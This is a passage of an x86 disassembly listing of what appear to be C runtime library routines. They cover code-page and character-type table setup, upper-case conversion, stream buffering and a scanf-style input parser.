cmp eax, 0FFFFFFFCh jnz short locret_42092B mov eax, dword_4DBE94 mov dword_4DBE4C, 1 locret_42092B: ; CODE XREF: sub_4208E2+38j retn sub_4208E2 endp ; =============== S U B R O U T I N E ======================================= sub_42092C proc near ; CODE XREF: sub_420749+118p ; sub_420749+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_420959 sub eax, 4 jz short loc_420953 sub eax, 0Dh jz short loc_42094D dec eax jz short loc_420947 xor eax, eax retn ; --------------------------------------------------------------------------- loc_420947: ; CODE XREF: sub_42092C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42094D: ; CODE XREF: sub_42092C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_420953: ; CODE XREF: sub_42092C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_420959: ; CODE XREF: sub_42092C+9j mov eax, 411h retn sub_42092C endp ; =============== S U B R O U T I N E ======================================= sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DD260 rep stosd stosb xor eax, eax mov edi, offset dword_4DD150 mov dword_4DD144, eax mov dword_4DD15C, eax mov dword_4DD364, eax stosd stosd stosd pop edi retn sub_42095F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DD144 nop call near ptr 26518FDh cmp eax, 1 jnz loc_420AC1 xor eax, eax mov esi, 100h loc_4209B2: ; CODE XREF: sub_420988+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4209B2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420A03 push ebx push edi lea edx, [ebp+var_D] loc_4209D1: ; CODE XREF: sub_420988+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4209F8 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4209F8: ; CODE XREF: sub_420988+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4209D1 pop edi pop ebx loc_420A03: ; CODE XREF: sub_420988+42j push 0 lea eax, [ebp+var_514] push dword_4DD364 push dword_4DD144 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4244F4 push 0 lea eax, [ebp+var_214] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DD364 call sub_4232A8 push 0 lea eax, [ebp+var_314] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DD364 call sub_4232A8 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420A7E: ; CODE XREF: sub_420988+135j mov dx, [ecx] test dl, 1 jz short loc_420A9C or byte_4DD261[eax], 10h mov dl, [ebp+eax+var_214] loc_420A94: ; CODE XREF: sub_420988+127j mov byte_4DD160[eax], dl jmp short loc_420AB8 ; --------------------------------------------------------------------------- loc_420A9C: ; CODE XREF: sub_420988+FCj test dl, 2 jz short loc_420AB1 or byte_4DD261[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420A94 ; --------------------------------------------------------------------------- loc_420AB1: ; CODE XREF: sub_420988+117j and byte_4DD160[eax], 0 loc_420AB8: ; CODE XREF: sub_420988+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420A7E jmp short loc_420B0A ; --------------------------------------------------------------------------- loc_420AC1: ; CODE XREF: sub_420988+1Dj xor eax, eax mov esi, 100h loc_420AC8: ; CODE XREF: sub_420988+180j cmp eax, 41h jb short loc_420AE6 cmp eax, 5Ah ja short loc_420AE6 or byte_4DD261[eax], 10h mov cl, al add cl, 20h loc_420ADE: ; CODE XREF: sub_420988+174j mov byte_4DD160[eax], cl jmp short loc_420B05 ; --------------------------------------------------------------------------- loc_420AE6: ; CODE XREF: sub_420988+143j ; sub_420988+148j cmp eax, 61h jb short loc_420AFE cmp eax, 7Ah ja short loc_420AFE or byte_4DD261[eax], 20h mov cl, al sub cl, 20h jmp short loc_420ADE ; --------------------------------------------------------------------------- loc_420AFE: ; CODE XREF: sub_420988+161j ; sub_420988+166j and byte_4DD160[eax], 0 loc_420B05: ; CODE XREF: sub_420988+15Cj inc eax cmp eax, esi jb short loc_420AC8 loc_420B0A: ; CODE XREF: sub_420988+137j pop esi leave retn sub_420988 endp ; =============== S U B R O U T I N E ======================================= sub_420B0D proc near ; CODE XREF: ___:00423684p ; ___:004236E0p ... cmp dword_4DD394, 0 jnz short locret_420B28 push 0FFFFFFFDh call sub_420749 pop ecx mov dword_4DD394, 1 locret_420B28: ; CODE XREF: sub_420B0D+7j retn sub_420B0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp ; sub_41C3B1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DD15C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420B4D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BFD0 add esp, 0Ch jmp short loc_420BB0 ; --------------------------------------------------------------------------- loc_420B4D: ; CODE XREF: sub_420B29+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420B92 mov ecx, [ebp+arg_4] loc_420B58: ; CODE XREF: sub_420B29+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DD261[esi], 4 mov [edi], al jz short loc_420B7C inc edi inc ecx test edx, edx jz short loc_420B88 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420B8E jmp short loc_420B82 ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420B29+3Ej inc edi inc ecx test al, al jz short loc_420B92 loc_420B82: ; CODE XREF: sub_420B29+51j test edx, edx jnz short loc_420B58 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B88: ; CODE XREF: sub_420B29+44j and byte ptr [edi-1], 0 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B8E: ; CODE XREF: sub_420B29+4Fj and byte ptr [edi-2], 0 loc_420B92: ; CODE XREF: sub_420B29+2Aj ; sub_420B29+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420BAD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420BAD: ; CODE XREF: sub_420B29+6Fj mov eax, [ebp+arg_0] loc_420BB0: ; CODE XREF: sub_420B29+22j pop edi pop ebp retn sub_420B29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx jnz short loc_420BDE mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420C7C cmp eax, 7Ah jg loc_420C7C sub eax, 20h jmp loc_420C7C ; --------------------------------------------------------------------------- loc_420BDE: ; CODE XREF: sub_420BB3+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420C11 cmp dword_43D084, 1 jle short loc_420BFE push 2 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_420C09 ; --------------------------------------------------------------------------- loc_420BFE: ; CODE XREF: sub_420BB3+3Dj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 2 loc_420C09: ; CODE XREF: sub_420BB3+49j test eax, eax jnz short loc_420C11 loc_420C0D: ; CODE XREF: sub_420BB3+AFj mov eax, ebx jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C11: ; CODE XREF: sub_420BB3+34j ; sub_420BB3+58j mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420C34 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420C3D ; --------------------------------------------------------------------------- loc_420C34: ; CODE XREF: sub_420BB3+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420C3D: ; CODE XREF: sub_420BB3+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_420C0D cmp eax, 1 jnz short loc_420C6F movzx eax, [ebp+var_4] jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C6F: ; CODE XREF: sub_420BB3+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420C7C: ; CODE XREF: sub_420BB3+14j ; sub_420BB3+1Dj ... pop ebx leave retn sub_420BB3 endp ; =============== S U B R O U T I N E ======================================= sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp ; sub_41DC5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DBDE0, ecx mov eax, offset dword_43D190 loc_420C90: ; CODE XREF: sub_420C7F+1Ej cmp ecx, [eax] jz short loc_420CB4 add eax, 8 inc edx cmp eax, offset dword_43D2F8 jl short loc_420C90 cmp ecx, 13h jb short loc_420CC1 cmp ecx, 24h ja short loc_420CC1 mov dword_4DBDDC, 0Dh retn ; --------------------------------------------------------------------------- loc_420CB4: ; CODE XREF: sub_420C7F+13j mov eax, dword_43D194[edx*8] mov dword_4DBDDC, eax retn ; --------------------------------------------------------------------------- loc_420CC1: ; CODE XREF: sub_420C7F+23j ; sub_420C7F+28j cmp ecx, 0BCh jb short loc_420CDB cmp ecx, 0CAh mov dword_4DBDDC, 8 jbe short locret_420CE5 loc_420CDB: ; CODE XREF: sub_420C7F+48j mov dword_4DBDDC, 16h locret_420CE5: ; CODE XREF: sub_420C7F+5Aj retn sub_420C7F endp ; =============== S U B R O U T I N E ======================================= sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_42463D test eax, eax pop ecx jz short loc_420D6F cmp esi, offset dword_43D588 jnz short loc_420D04 xor eax, eax jmp short loc_420D0F ; --------------------------------------------------------------------------- loc_420D04: ; CODE XREF: sub_420CE6+18j cmp esi, offset dword_43D5A8 jnz short loc_420D6F push 1 pop eax loc_420D0F: ; CODE XREF: sub_420CE6+1Cj inc dword_4DBFAC test word ptr [esi+0Ch], 10Ch jnz short loc_420D6F cmp dword_4DBE50[eax*4], 0 push ebx push edi lea edi, ds:4DBE50h[eax*4] mov ebx, 1000h jnz short loc_420D55 push ebx call sub_41BEB5 test eax, eax pop ecx mov [edi], eax jnz short loc_420D55 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420D62 ; --------------------------------------------------------------------------- loc_420D55: ; CODE XREF: sub_420CE6+4Dj ; sub_420CE6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420D62: ; CODE XREF: sub_420CE6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420D6F: ; CODE XREF: sub_420CE6+10j ; sub_420CE6+24j ... xor eax, eax pop esi retn sub_420CE6 endp ; =============== S U B R O U T I N E ======================================= sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420D9D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420DAE push esi call sub_41E42B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420D9D: ; CODE XREF: sub_420D73+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420DAE push eax call sub_41E42B pop ecx loc_420DAE: ; CODE XREF: sub_420D73+10j ; sub_420D73+32j pop esi retn sub_420D73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4217B6 mov edi, [ebp+arg_0] jmp short loc_420DDF ; --------------------------------------------------------------------------- loc_420DDA: ; CODE XREF: sub_420DB0+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420DDF: ; CODE XREF: sub_420DB0+28j cmp dword_43D084, 1 jle short loc_420DF7 movzx eax, al push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420E06 ; --------------------------------------------------------------------------- loc_420DF7: ; CODE XREF: sub_420DB0+36j mov ecx, off_43CE78 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420E06: ; CODE XREF: sub_420DB0+45j cmp eax, ebx jz short loc_420E40 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42183D pop ecx pop ecx push eax call sub_421826 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 add esp, 0Ch loc_420E2E: ; CODE XREF: sub_420DB0+8Ej test eax, eax jz short loc_420E40 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 pop ecx jmp short loc_420E2E ; --------------------------------------------------------------------------- loc_420E40: ; CODE XREF: sub_420DB0+58j ; sub_420DB0+80j cmp byte ptr [esi], 25h jnz loc_421722 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420E77: ; CODE XREF: sub_420DB0+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43D084, 1 jle short loc_420E94 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420EA3 ; --------------------------------------------------------------------------- loc_420E94: ; CODE XREF: sub_420DB0+D3j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420EA3: ; CODE XREF: sub_420DB0+E2j test eax, eax jz short loc_420EB9 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EB9: ; CODE XREF: sub_420DB0+F5j cmp ebx, 4Eh jg short loc_420EFC jz short loc_420F1E cmp ebx, 2Ah jz short loc_420EF7 cmp ebx, 46h jz short loc_420F1E cmp ebx, 49h jz short loc_420ED9 cmp ebx, 4Ch jnz short loc_420F0B inc [ebp+var_D] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420ED9: ; CODE XREF: sub_420DB0+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420F0B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420F0B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EF7: ; CODE XREF: sub_420DB0+113j inc [ebp+var_E] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EFC: ; CODE XREF: sub_420DB0+10Cj cmp ebx, 68h jz short loc_420F18 cmp ebx, 6Ch jz short loc_420F10 cmp ebx, 77h jz short loc_420F13 loc_420F0B: ; CODE XREF: sub_420DB0+122j ; sub_420DB0+12Dj ... inc [ebp+var_F] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F10: ; CODE XREF: sub_420DB0+154j inc [ebp+var_D] loc_420F13: ; CODE XREF: sub_420DB0+159j inc [ebp+var_5] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F18: ; CODE XREF: sub_420DB0+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420F1E: ; CODE XREF: sub_420DB0+107j ; sub_420DB0+10Ej ... cmp [ebp+var_F], 0 jz loc_420E77 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420F43 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420F43: ; CODE XREF: sub_420DB0+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420F61 mov al, [esi] cmp al, 53h jz short loc_420F5D cmp al, 43h jz short loc_420F5D or [ebp+var_5], 0FFh jmp short loc_420F61 ; --------------------------------------------------------------------------- loc_420F5D: ; CODE XREF: sub_420DB0+1A1j ; sub_420DB0+1A5j mov [ebp+var_5], 1 loc_420F61: ; CODE XREF: sub_420DB0+19Bj ; sub_420DB0+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420F9A cmp esi, 63h jz short loc_420F8B cmp esi, 7Bh jz short loc_420F8B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42183D pop ecx jmp short loc_420F96 ; --------------------------------------------------------------------------- loc_420F8B: ; CODE XREF: sub_420DB0+1C5j ; sub_420DB0+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C loc_420F96: ; CODE XREF: sub_420DB0+1D9j pop ecx mov [ebp+var_14], eax loc_420F9A: ; CODE XREF: sub_420DB0+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420FAA cmp [ebp+var_C], eax jz loc_421786 loc_420FAA: ; CODE XREF: sub_420DB0+1EFj cmp esi, 6Fh jg loc_421211 jz loc_4214C3 cmp esi, 63h jz loc_4211EE cmp esi, 64h jz loc_4214C3 jle loc_42123B cmp esi, 67h jle short loc_42100E cmp esi, 69h jz short loc_420FF6 cmp esi, 6Eh jnz loc_42123B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4216F1 jmp loc_421717 ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420DB0+229j push 64h pop esi loc_420FF9: ; CODE XREF: sub_420DB0+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_421283 mov [ebp+var_17], 1 jmp loc_421288 ; --------------------------------------------------------------------------- loc_42100E: ; CODE XREF: sub_420DB0+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42102A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42102F ; --------------------------------------------------------------------------- loc_42102A: ; CODE XREF: sub_420DB0+26Aj cmp ebx, 2Bh jnz short loc_421046 loc_42102F: ; CODE XREF: sub_420DB0+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_421049 ; --------------------------------------------------------------------------- loc_421046: ; CODE XREF: sub_420DB0+27Dj mov edi, [ebp+arg_0] loc_421049: ; CODE XREF: sub_420DB0+294j cmp [ebp+var_20], 0 jz short loc_421058 cmp [ebp+var_C], 15Dh jle short loc_42105F loc_421058: ; CODE XREF: sub_420DB0+29Dj mov [ebp+var_C], 15Dh loc_42105F: ; CODE XREF: sub_420DB0+2A6j ; sub_420DB0+2F2j cmp dword_43D084, 1 jle short loc_421074 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_42107F ; --------------------------------------------------------------------------- loc_421074: ; CODE XREF: sub_420DB0+2B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_42107F: ; CODE XREF: sub_420DB0+2C2j test eax, eax jz short loc_4210A4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4210A4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42105F ; --------------------------------------------------------------------------- loc_4210A4: ; CODE XREF: sub_420DB0+2D1j ; sub_420DB0+2DBj cmp byte_43D088, bl jnz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_4] push edi call sub_42180C mov ebx, eax mov al, byte_43D088 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_4210CD: ; CODE XREF: sub_420DB0+360j cmp dword_43D084, 1 jle short loc_4210E2 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_4210ED ; --------------------------------------------------------------------------- loc_4210E2: ; CODE XREF: sub_420DB0+324j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_4210ED: ; CODE XREF: sub_420DB0+330j test eax, eax jz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4210CD ; --------------------------------------------------------------------------- loc_421112: ; CODE XREF: sub_420DB0+2FAj ; sub_420DB0+304j ... cmp [ebp+var_1C], 0 jz loc_4211AA cmp ebx, 65h jz short loc_42112A cmp ebx, 45h jnz loc_4211AA loc_42112A: ; CODE XREF: sub_420DB0+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_421151 mov [esi], al inc esi jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421151: ; CODE XREF: sub_420DB0+39Aj cmp ebx, 2Bh jnz short loc_421174 loc_421156: ; CODE XREF: sub_420DB0+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_421165 and [ebp+var_C], eax jmp short loc_421174 ; --------------------------------------------------------------------------- loc_421165: ; CODE XREF: sub_420DB0+3AEj ; sub_420DB0+3F8j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421174: ; CODE XREF: sub_420DB0+3A4j ; sub_420DB0+3B3j cmp dword_43D084, 1 jle short loc_421189 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421194 ; --------------------------------------------------------------------------- loc_421189: ; CODE XREF: sub_420DB0+3CBj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421194: ; CODE XREF: sub_420DB0+3D7j test eax, eax jz short loc_4211AA mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_421165 ; --------------------------------------------------------------------------- loc_4211AA: ; CODE XREF: sub_420DB0+366j ; sub_420DB0+374j ... dec [ebp+var_4] push edi push ebx call sub_421826 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43D428 add esp, 0Ch jmp loc_421717 ; --------------------------------------------------------------------------- loc_4211EE: ; CODE XREF: sub_420DB0+20Cj cmp [ebp+var_20], eax jnz short loc_4211FD inc [ebp+var_C] mov [ebp+var_20], 1 loc_4211FD: ; CODE XREF: sub_420DB0+441j cmp [ebp+var_5], 0 jle short loc_421207 mov [ebp+var_16], 1 loc_421207: ; CODE XREF: sub_420DB0+451j mov edi, offset dword_43D300 jmp loc_42131C ; --------------------------------------------------------------------------- loc_421211: ; CODE XREF: sub_420DB0+1FDj mov eax, esi sub eax, 70h jz loc_4214BF sub eax, 3 jz loc_42130D dec eax dec eax jz loc_4214C3 sub eax, 3 jz loc_420FF9 sub eax, 3 jz short loc_42125F loc_42123B: ; CODE XREF: sub_420DB0+21Bj ; sub_420DB0+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421786 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421717 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421717 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420DB0+489j cmp [ebp+var_5], 0 jle short loc_421269 mov [ebp+var_16], 1 loc_421269: ; CODE XREF: sub_420DB0+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421320 mov eax, edi lea edi, [eax+1] jmp loc_42131C ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_420DB0+24Fj cmp ebx, 2Bh jnz short loc_4212AA loc_421288: ; CODE XREF: sub_420DB0+259j dec [ebp+var_C] jnz short loc_421299 cmp [ebp+var_20], 0 jz short loc_421299 mov [ebp+var_F], 1 jmp short loc_4212AA ; --------------------------------------------------------------------------- loc_421299: ; CODE XREF: sub_420DB0+4DBj ; sub_420DB0+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4212AA: ; CODE XREF: sub_420DB0+4D6j ; sub_420DB0+4E7j cmp ebx, 30h jnz loc_4214F8 push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4212F8 cmp bl, 58h jz short loc_4212F8 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4212E2 push 6Fh loc_4212DC: ; CODE XREF: sub_420DB0+55Bj pop esi jmp loc_4214F8 ; --------------------------------------------------------------------------- loc_4212E2: ; CODE XREF: sub_420DB0+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx push 30h pop ebx jmp loc_4214F5 ; --------------------------------------------------------------------------- loc_4212F8: ; CODE XREF: sub_420DB0+517j ; sub_420DB0+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4212DC ; --------------------------------------------------------------------------- loc_42130D: ; CODE XREF: sub_420DB0+46Fj cmp [ebp+var_5], 0 jle short loc_421317 mov [ebp+var_16], 1 loc_421317: ; CODE XREF: sub_420DB0+561j mov edi, offset dword_43D2F8 loc_42131C: ; CODE XREF: sub_420DB0+45Cj ; sub_420DB0+4CEj or [ebp+var_18], 0FFh loc_421320: ; CODE XREF: sub_420DB0+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BF70 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_421344 cmp byte ptr [edi], 5Dh jnz short loc_421344 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421344: ; CODE XREF: sub_420DB0+584j ; sub_420DB0+589j mov dl, [ebp+var_35] loc_421347: ; CODE XREF: sub_420DB0+592j ; sub_420DB0+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4213AC inc edi cmp al, 2Dh jnz short loc_421393 test dl, dl jz short loc_421393 mov cl, [edi] cmp cl, 5Dh jz short loc_421393 inc edi cmp dl, cl jnb short loc_421366 mov al, cl jmp short loc_42136A ; --------------------------------------------------------------------------- loc_421366: ; CODE XREF: sub_420DB0+5B0j mov al, dl mov dl, cl loc_42136A: ; CODE XREF: sub_420DB0+5B4j cmp dl, al ja short loc_42138F movzx edx, dl movzx esi, al sub esi, edx inc esi loc_421377: ; CODE XREF: sub_420DB0+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_421377 loc_42138F: ; CODE XREF: sub_420DB0+5BCj xor dl, dl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420DB0+5A0j ; sub_420DB0+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_4213AC: ; CODE XREF: sub_420DB0+59Bj cmp byte ptr [edi], 0 jz loc_4217B6 cmp [ebp+var_3C], 7Bh jnz short loc_4213BE mov [ebp+arg_4], edi loc_4213BE: 